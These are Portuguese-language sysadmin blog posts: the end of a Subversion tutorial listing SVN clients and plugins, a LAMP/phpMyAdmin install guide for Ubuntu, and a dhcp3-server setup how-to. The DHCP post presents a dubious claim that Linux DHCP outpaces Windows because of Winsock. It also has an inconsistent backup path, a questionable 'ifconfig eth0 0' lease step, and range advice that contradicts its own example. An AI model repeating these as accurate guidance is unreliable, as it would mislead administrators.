  1. Cascade: driver de sistema de arquivos multiplataforma para o Subversion, tanto gráfico quanto em linha de comando. Também provê outras funcionalidades de alto nível. Não é open source; gratuito para uso pessoal
  2. KSvn: cliente Subversion para o KDE; um plugin para o Konqueror
  3. SCPlugin: integração Subversion para o Finder do Mac OS X
  4. TortoiseSVN: um cliente Subversion, implementado como extensão do shell do Windows
  • Plugins para IDEs (vale lembrar que muitas IDEs suportam o Subversion nativamente ou por plugins inclusos; esta seção lista os plugins não-inclusos com as IDEs)
  1. Aigenta Unified SCC: plugin Subversion/CVS para programas compatíveis com MSSCCI, incluindo o Microsoft Visual Studio e outros. Não é open source, mas possui versão trial gratuita disponível
  2. AnkhSVN: integração Subversion para o Microsoft Visual Studio
  3. CW Subversion: plugin VCS para o Metrowerks CodeWarrior
  4. Subclipse: plugin Subversion para o Eclipse
  5. Subversive: plugin Subversion para o Eclipse
  6. SVN SCC Proxy: plugin SCC para SVN. Este não é um projeto open source
  7. VisualSVN: integração Subversion para o Visual Studio .NET 2003, 2005 & 2008. Este é um produto comercial de código fechado
  8. WLW-SVN: extensão Subversion para o WebLogic Workshop (8.1.3/8.1.4)
  1. psvn.el: interface Subversion para o emacs
  2. Vcscommand.vim: plugin de integração CVS/SVN/SVK para o editor vim
  1. Trac: o Trac é um sistema web minimalista para gerenciamento de projetos e tracking de bugs e requisições. Ele provê uma interface ao sistema de controle de versões (Subversion), um Wiki integrado e funcionalidades de report
  2. Collaboa: browser de repositório e tracker de requisições, similar ao Trac
  1. SVN::Web
  2. ViewVC (previamente conhecido como ViewCVS)
  3. WebSVN
  4. Insurrection: Repositório em http://svn.sinz.com/svn/Insurrection/
  5. Chora
  6. SVN::RaWeb::Light
  7. FlexySvn
  8. perl_svn
  9. mod_svn_view
  10. bsSvnBrowser
  11. sventon
  12. WebClient for SVN

Conclusão

Espero que este documento tenha sido de ajuda para o seu aprendizado, leitor, e através dele estou certo de que foi possível aprender os passos fundamentais para um dia de trabalho completo em um repositório Subversion. Agradeço a leitura e boa utilização dos repositórios!

fonte: http://pwsys.com.br/index.php?option=com_content&view=article&id=67:tutorial-usuario-subversion&catid=41:tutoriais&Itemid=66

Lamp2: Ubuntu Server APACHE 2 Mysql 5 PHP 5 phpmyadmin

Standard

Um ambiente LAMP2 (apache 2 mysql 5 php 5 e phpmyadmin) é fundamental para quem desenvolve e deseja testar sua app antes de envia-la para web, sem mais, vamos aos passos:

1 – Clique em Aplicativos->Acessórios->Terminal OU CASO ESTEJA USANDO QUALQUER OUTRA VERSÃO SERVER SEM X, CTRL + ALT + F2.
2 – rode o comando:

sudo apt-get install apache2

Este comando serve para instalar o apache 2. Ressalto que usei o gestor de pacotes e habilitei o suporte a pacotes instáveis e também o repositório partner (mais abaixo posto como fazer).

Ainda no console use o comando abaixo:

sudo apt-get install php5 libapache2-mod-php5
Isto servirá para instalar o php5 e ainda integra-lo como DSO no apache (como módulo).

Já que estamos na metade do caminho o ideal seria dar um restart no apache para garantir que ele leu seu conf.
Use o comando:

sudo /etc/init.d/apache2 restart

A saída deverá ser parecida com:

* Restarting web server apache2 apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName
… waiting apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]

Para garantir que o apache está interpretando códigos php (fazendo uso do interpretador como módulo) podemos editar um arquivo e testa-lo. use o comando abaixo:

sudo vi /var/www/index.php

Dentro deste arquivo informe:

echo 'APPUNIX é um lab de nerds!';
?>

escreva : e depois escreva wq! e pressione enter, ficando algo como :wq! , você salvará o arquivo e sairá do vi.
Feito isto acesse o arquivo para ver se a mensagem APPUNIX é um lab de nerds! aparece, caso sim, sucesso total! Do contrário releia este manual!
Este teste pode ser feito em http://localhost/index.php

Para instalar o mysql como servidor de banco de dados devemos usar o seguinte comando:
sudo apt-get install mysql-server


No meio desse esquema todo serão exibidas janelas que solicitarão a senha de administrador do mysql, semelhantes as imagens abaixo:

senha mysql root

senha mysql root

Outra tela:

senha root mysql 2

senha root mysql 2

Estas telas pedem para que você dê uma senha para o usuário root do mysql, escolha uma senha ao seu gosto e depois repita a mesma.

Agora iremos integrar o php + apache + mysql + phpmyadmin, para isto precisaremos usar o comando:

sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin

Neste meio tempo uma tela para escolher entre apache e lighttpd aparecerá, escolha apache. Veja:

escolha apache

escolha apache

Na primeira tela escolha OK e dê um tab para confirmar que aceita a opção.

phpmyadm

phpmyadm

A próxima tela pedirá uma senha de admin para o phpmyadmin, para isto defina algo seu. Veja a tela:

pass phpmyadm

pass phpmyadm

Costumo, após terminar uma instalação de integração como esta utilizar-me de lago, insira as seguintes linhas naquela página index.php usando sudo vim /var/www/index.php
Informe dentro dela o seguinte:

mysql_connect(‘localhost’, ‘root’, ‘suaSENHA’) or die(mysql_error());
?>

Acesse http://localhost/index.php

Se nada ocorrer tudo está 100%.

Quando terminar use o comando:
sudo /etc/init.d/apache2 restart

Isto vai fazer o apache reler todos os confs.

Para concluir precisamos levar o phpmyadmin para a pasta web afim de que possamos editar nossos bds. Para isto precisamos copiar o phpmyadmin para dentro do /var/www usando o comando:

cp -rp /usr/share/phpmyadmin /var/www

Sendo assim, para acessar somente precisamos de um http://localhost/phpmyadmin

DHCP Server Ubuntu Linux Ubuntu

Standard

Olá galera tudo na paz?
Hoje vou mostrar de forma simples como configurar um Servidor de DHCP no Ubuntu (diga-se Debian-like)….
DHCP é a siga Dynamic Host Configuration Protocol que é na verdade é um protocolo de serviço TCP/IP que oferece configuração dinâmica de terminais, com concessão de endereços IP de host e outros parâmetros de configuração para clientes de rede.
A comunicação do cliente com o Servidor DHCP funciona da seguinte forma, o Cliente envia um pacote em UDP em Broadcast (quer dizer que é destinado a todas a máquinas da rede) com um pedido DHCP (Configurações gerais como IP e DNS), o servidor DHCP que
primeiro capturar este pacote enviará de volta um pacote contendo as configurações, onde constará pelo menos um endereço de IP, uma máscara de rede como parâmetros opcionais Gateway, Servidor Wins, DNSs, dentre outras consigurações.
O DHCP usa um modelo cliente-servidor, no qual o servidor DHCP mantém o gerenciamento centralizado dos endereços IP usados na rede.

DHCP em Linux é mais rápido que DHCP em WIndow$?
Sim, isso não é mito… A vantagem do Linux sobre o Window$ nesta questão é que o Linux suporta o protocolo TCP/IP nativamente(via módulos de Kernel), enquanto o Window$ utiliza uma camada de compatibilidade (WInsock,que traz perda de desempenho por não estar diretamente no Kernel) para oferecer suporte a TCP/IP.
Existe também o Mito de que o DHCP Linux é mais difícil de ser configurado, Mentira…. Verão por meio desse how to que é simplista, tanto a configuração quanto manutenção desse DHCP em Linux.
Deixemos de balela e mãos a obra.

Primeiro, colocar um IP Fixo

root@appunix:~#ifconfig eth0 192.168.2.2 netmask 255.255.255.0 up

ou use esse how to e aprenda um pouco sobre configuração de interfaces de rede.

Agora é hora de instalar o pacote dhcp3-server

root@appunix:~#apt-get update

root@appunix:~#apt-get install dhcp3-server

Após o pacote intalado, pode fazer backup do arquivos de configuração do nosso DHCP(caso aconteça algum erro poderemos voltar com ele)

root@appunix:~#mv /etc/dhcp3/dhcpd.conf /etc/dhcp/dhcpd.conf.BKP

Agora vamos criar novamente o conf

root@appunix:~#vim /etc/dhcp3/dhcpd.conf

deixe o da seguinte forma (adaptando às suas necessidades)

ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.13 192.168.2.20;
option subnet-mask 255.255.255.0;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8, 8.8.4.4;
option broadcast-address 192.168.2.255;
}

Onde:
default-lease-time 600→ controla o tempo de renovação dos endereços IP em nosso caso a cada 10 minutos o servidor verifica se a estação ainda está ativa
max-lease-time 7200→ determina o tempo máximo que uma estação pode usar um determinado endereço IP, isso foi planejado em ambientes onde haja escassez de endereços IP no nosso caso cada IP fica “alugado” por no máximo 2 Horas(isso só é legal quando você tem menos IPs disponíveis do que estações e, quando todas as estações não ficam ligadas ao mesmo tempo)
authoritative→ significa que esse é o principal DHCP de sua rede
subnet 192.168.2.0 netmask 255.255.255.0→ significa faixa de faixa de IP e máscara de rede utilizada em sua rede
range 192.168.2.13 192.168.2.20→ aqui especificamos qual a largura de distribuição de IPs para no DHCP, em nosso caso o DHCP irá distribuir IPs de 192.168.2.13 até 192.168.2.20 Inclusive
option subnet-mask 255.255.255.0→ a máscra de rede para os Clintes
option routers 192.168.2.1→ aqui você define o Gateway das estações Cliente
option domain-name-servers 8.8.8.8, 8.8.4.4→ aqui são especificados os Servidores DNS usados pelo seus clientes, costumo usar os da Google (nunca tive qualquer que seja o problema em questão de nomes com esses DNSs)mas, caso tenha um servidor DNS em sua Rede(pode ser o proprio computador) pode colocar aqui o/os IPs deles
option broadcast-address 192.168.2.255→ endereço de Broadcast da Rede

Muito tranquilo…. agora caso trabalhe em uma rede onde usa-se impressoras compartilhadas em alguns hosts, é imprecindível que atribua por meio do DHCP IPs amarrados ao Mac Address (endereço físico e Único para cada placa de rede) ou seja, IPs fixos através do Servidor de DHCP.
Como fazer?
Após a Ultima linha de configuração acrescente

host doooguinha {
hardware ethernet 00:24:8c:4d:e3:7c;
fixed-address 192.168.2.15;}

onde:
host doooguinha→ é o nome o qual você queria dar a essa atribuição de IP
hardware ethernet 00:24:8c:4d:e3:7c→ é o endereço Físico (Mac Address) da minha placa de rede
fixed-address 192.168.2.15→ é o IP fixo que você quer atribuir para essa estação

* Só pra lembrar que o endereço fixo deve estar dentro da faixa de IP estabelecido na parte de range que foi explicado acima

Dica: Use servidor DHCP em uma faixa de Ips diferente daquela que você deixará para DHCP, por exemplo, da faixa de 192.168.2.1 até 192.168.2.20 (Setados na mão, em cada estação) e o restante 192.168.2.21 até 192.168.2.254 para o DHCP, Caso não o faça seu servidor DHCP poderá atribuir um endereço já utilizado por uma estação a outra
por meio do DHCP.

Após feita a configuração agora basta reiniciar o serviço e correr para o abraço

root@appunix:~#/etc/init.d/dhcp3-server restart

ou

root@appunix:~#/etc/init.d/dhcp3-server stop

root@appunix:~#/etc/init.d/dhcp3-server start

Nos clientes há várias formas de receber um Ip por DHCP
Vou mostrar todas pelo terminal

root@appunix:~#dhclient eth0

eth0 substitui-se pela interface usada por seu PC

ou

root@appunix:~#ifconfig eth0 0

onde eth0 é a interface utilizada por seu PC

Clientes WIndow$/ Mac receberam Ip normalmente de forma imperceptível.

Uma observação importante, é que ao configurar um servidor com duas placas de rede, você deve configurar o servidor DHCP para escutar apenas na placa da rede local. Em nossos testes utilizamos Ubuntu e, esta configuração está no arquivo “/etc/default/dhcp3-server”.

root@appunix:~vim /etc/default/dhcp3-server

Procure pela linha:

INTERFACES=”” e deixe de acordo com sua estrutura em nosso caso ficou INTERFACES=”eth0″ só irá escutar requisições de DHCP pela interface eth0.
É isso galera… espero ter ajudado, qualquer dúvida poste um comentário e o mais rápido possível será respondido.:D
Abraço a todos.